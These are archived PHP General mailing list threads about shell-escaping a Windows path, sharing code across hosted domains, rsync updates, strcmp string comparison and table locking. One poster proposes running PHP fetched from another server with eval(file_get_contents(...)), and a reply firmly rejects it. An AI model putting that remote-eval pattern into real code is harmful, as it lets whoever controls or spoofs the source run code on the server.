"C:\/Program\ Files\\..." --C Negin Nickparsa wrote: > I can't move Gams because it has many dll files which should be in there. > gams.exe should be execute in that path file in program Files > one time I tried to do it and when It shows me missing files I copy pasted > many files but It needs many other files which I regretted so it is not > possible. > I tried \\\ > > string(101) "'C:/Program\\' is not recognized as an internal or external > command, operable program or batch file. " > > On Fri, Feb 17, 2012 at 4:25 PM, Stuart Dallas wrote: > >> On 17 Feb 2012, at 12:53, Negin Nickparsa wrote: >> >> this one: >> $cmd = 'C:/Program\ Files/GAMS23.7/gams.exe'.' >> '.escapeshellarg('C:/Program Files/GAMS23.7/trnsport_php.gms').' 2>&1'; >> >> GENERATES: >> >> string(100) "'C:/Program\' is not recognized as an internal or external >> command, operable program or batch file. " >> >>> >> Ok, in that case try \\\ instead of \. Alternatively move GAMS23.7 out >> of >> Program Files and into a directory without spaces! >> >> Change the \\ in the commands to just a single \ but leave the space >> after >>> it. >>> >>> On Fri, Feb 17, 2012 at 4:10 PM, Negin Nickparsa >>> wrote: >>> ok sorry,I tried yours It generates Null. On Fri, Feb 17, 2012 at 4:06 PM, Stuart Dallas wrote: > Please quote the relevant parts of the email you're replying to - > your > emails have massively diminished usefulness to the archives. > > On 17 Feb 2012, at 12:21, Negin Nickparsa wrote: > > It generates NULL > > > My bad, try this… > > $cmd = 'C:/Program\\ Files/GAMS23.7/gams.exe'.' > '.escapeshellarg('C:/Program > Files/GAMS23.7/trnsport_php.gms').' 2>&1'; > > If that still doesn't seem to work, I suggest you try just executing > the command without arguments… > > $cmd = 'C:/Program\\ Files/GAMS23.7/gams.exe 2>&1'; > > Backticks execute a command and return the output: > http://php.net/language.operators.execution > >> -Stuart >> >> -- >> Stuart Dallas >> 3ft9 Ltd >> http://3ft9.com/ >> >
Re: [PHP] including PHP code from another server..
rsync is your friend. --C Stuart Dallas wrote: > On 26 Mar 2012, at 14:53, rene7705 wrote: > >> My last thread got derailed into a javascript and even photoshop >> discussion, and while I can't blame myself for that really, this time I >> would like to bring a pure PHP issue to your scrutiny. >> >> I run several sites now, on the same shared hoster, but with such a >> setup >> that I cannot let PHP require() or include() code from a central place >> located on another domain name on the same shared hosting account, not >> the >> normal way at least. >> $_SERVER['DOCUMENT_ROOT'] is a completely different path for each of the >> domains on the same hosting account, and obviously you can't access one >> domain's directory from another domain. >> >> Hoster support's reply is A) I dont know code, B) You can't include code >> from one domain on another and C) use multiple copies, 1 for each domain >> >> But that directory (my opensourced /code in the zip on >> http://mediabeez.wsbtw), takes a while to update to my hoster, many >> files. >> Plus, as I add more domains that use the same code base, my overhead and >> waiting time increases lineary at a steep incline. >> >> So.. Since all of this code is my own, and tested and trusted, I can >> just >> eval(file_get_contents(' >> http://sitewithwantedcode.com/code/get_php.php?file=/code/sitewide_rv/autorun.php')) >> hehe >> And get_php.php takes care of the nested includes by massaging what it >> retrieves. Or so is my thinking. >> >> The problem I'm facing, and for which I'm asking your most scrutinous >> feedback, is: >> How would you transform _nested_ require(_once) and include(_once)? I >> haven't figured out yet how to transform a relative path >> include/require. >> What about for instance a require_once($fileIwantNow)? >> I do both in my /code tree atm. >> >> For my own purposes, I could massage my own PHP in /code/libraries_rv >> and >> /code/sitewide_rv manually, but I'd also like to be able to include a >> single copy of the 3rd party free libs that I use in >> /code/libraries(/adodb-5.10 for instance). And god knows how they might >> include and require. >> >> Plus, I'd like to turn this into another free how-to blog entry on >> http://mediabeez.ws, plus accompanying code, so I think I might find >> some >> free tips here again. > > Don't do this. Use a central source to host your code by all means, but > create constantly updated copies on every server that uses it. Since I use > git for source control I make use of the submodule feature to make this > simplicity itself. It's worth investing time in building the processes > that ensure consistency between your various environments. The best ops > strategy is the lazy op's strategy! > > Set up cron scripts on each server to update that code periodically so > everything is always up to date. I wouldn't recommend that unless you have > good testing procedures in place before your code hits production, but > from what I've seen I find the highly doubtful. However, sharing code at > runtime over http is a very very very bad idea. > > Even farms with hundreds or thousands of servers, all running the same > application on a fast local network, don't share code in this way. Each > server has its own copy of the code, and it's the deployment processes > that ensure they're kept up to date. > > -Stuart > > -- > Stuart Dallas > 3ft9 Ltd > http://3ft9.com/
Re: [PHP] Re: updating code asap to multiple domains, windows to unix, with source control software (was: Re: [PHP] including PHP code from another server..)
rene7705 wrote: > On Tue, Mar 27, 2012 at 1:21 PM, Peter Ford wrote: > >> On 27/03/12 12:13, rene7705 wrote: >> >>> hey, I just read the rsync man page for the first time, and while it >>> sure >>> looks simple enough for my taste, wouldn't updating multiple remote >>> domains >>> be like a whole series of the same FTP updates to these different >>> domain >>> directories there? In other words, take a long time because of my >>> 200kb/s >>> link to the unix hoster? >>> >>> >> The first time might be slow, but you can then do incremental updates >> which would be a lot quicker. >> >> ok, that'll do nicely.. Depending upon whether or not you have shell access to the hosts, you could update a host and then use rsync from that host to the rest. >
[PHP] comparisons
Hello, I'm having a rather strange problem. I'm trying to compare two values. "01" and "1". The variables names that they are submitted under are pick1 and pick2. i use the following code $mypick1 = strval($pick1); $mypick2 = strval($pick2); I then perform the following comparison: if ($mypick1 == $mypick2) { $error = 1; $errorstring[1] = "Your first pick and second pick are the same."; } However, I get the error that they are equal. If I call the comparison as foloows: if(strval($mypick1) == strval($mypick2) { $error = 1; $errorstring[1] = "Your first pick and second pick are the same."; } I still get the error. Anyone have any ideas? These two valuse mustbe evaluated as different. Thanks in advance Curtis
Re: [PHP] comparisons
That was the solution. It worked like a charm. $cmpresult = strcmp($pick1,$pick2); if $cmpresult == 0) { my code; } Can I also write that like the following? if (strcmp($pick1,$pick2) == 0) { perform some action; } Will that work? Curtis - Original Message - From: "Phil Driscoll" <[EMAIL PROTECTED]> To: "Curtis Maurand" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> Sent: Sunday, February 11, 2001 2:34 PM Subject: Re: [PHP] comparisons > In spite of yor best efforts here, PHP converts the string values to numbers (because the strings look like numbers) before doing the comparison. > > Force a string comparison by using strcmp and everything will work fine - remember that strcmp returns true if the strings are not equal and false if equal. > > Cheers > > Reply Header ____ > Subject: [PHP] comparisons > Author: "Curtis Maurand" <[EMAIL PROTECTED]> > Date: Sun, 11 Feb 2001 18:47:31 + > > Hello, > I'm having a rather strange problem. I'm trying to compare two values. "01" and "1". The variables names that they are submitted under are pick1 and pick2. i use the following code > > $mypick1 = strval($pick1); > $mypick2 = strval($pick2); > > I then perform the following comparison: > > if ($mypick1 == $mypick2) > { >$error = 1; >$errorstring[1] = "Your first pick and second pick are the same."; > } > > However, I get the error that they are equal. > > If I call the comparison as foloows: > > if(strval($mypick1) == strval($mypick2) > { >$error = 1; >$errorstring[1] = "Your first pick and second pick are the same."; > } > > I still get the error. Anyone have any ideas? These two valuse mustbe evaluated as different. > > Thanks in advance > Curtis > > > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: Re: [PHP] comparisons
> that will work, but I prefer > Can I also write that like the following? > > if (!strcmp($pick1,$pick2)) > { >perform some action; > } Thanks. That works for me. Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] transactions
look at the syntax for locking the tables. Curtis - Original Message - From: "Christian Dechery" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Sunday, February 11, 2001 7:14 PM Subject: [PHP] transactions > Hi, > > I was reading mysql's manual, about transactions and all... and I didn't > find what they said about 'atomic operations' being as safe as transactions. > I couldn't figure out HOW to update 5 tables at a time ENSURING that ALL > will be update or NONE. How can this be done without transactions? With > code? I don't think so... > > can anyone clear my mind here... > I have this problem... I need to update 4 tables at once, and if something > goes wrong I have to UNDO everything > > . Christian Dechery (lemming) > . http://www.tanamesa.com.br > . Gaita-L Owner / Web Developer > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > To contact the list administrators, e-mail: [EMAIL PROTECTED] > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]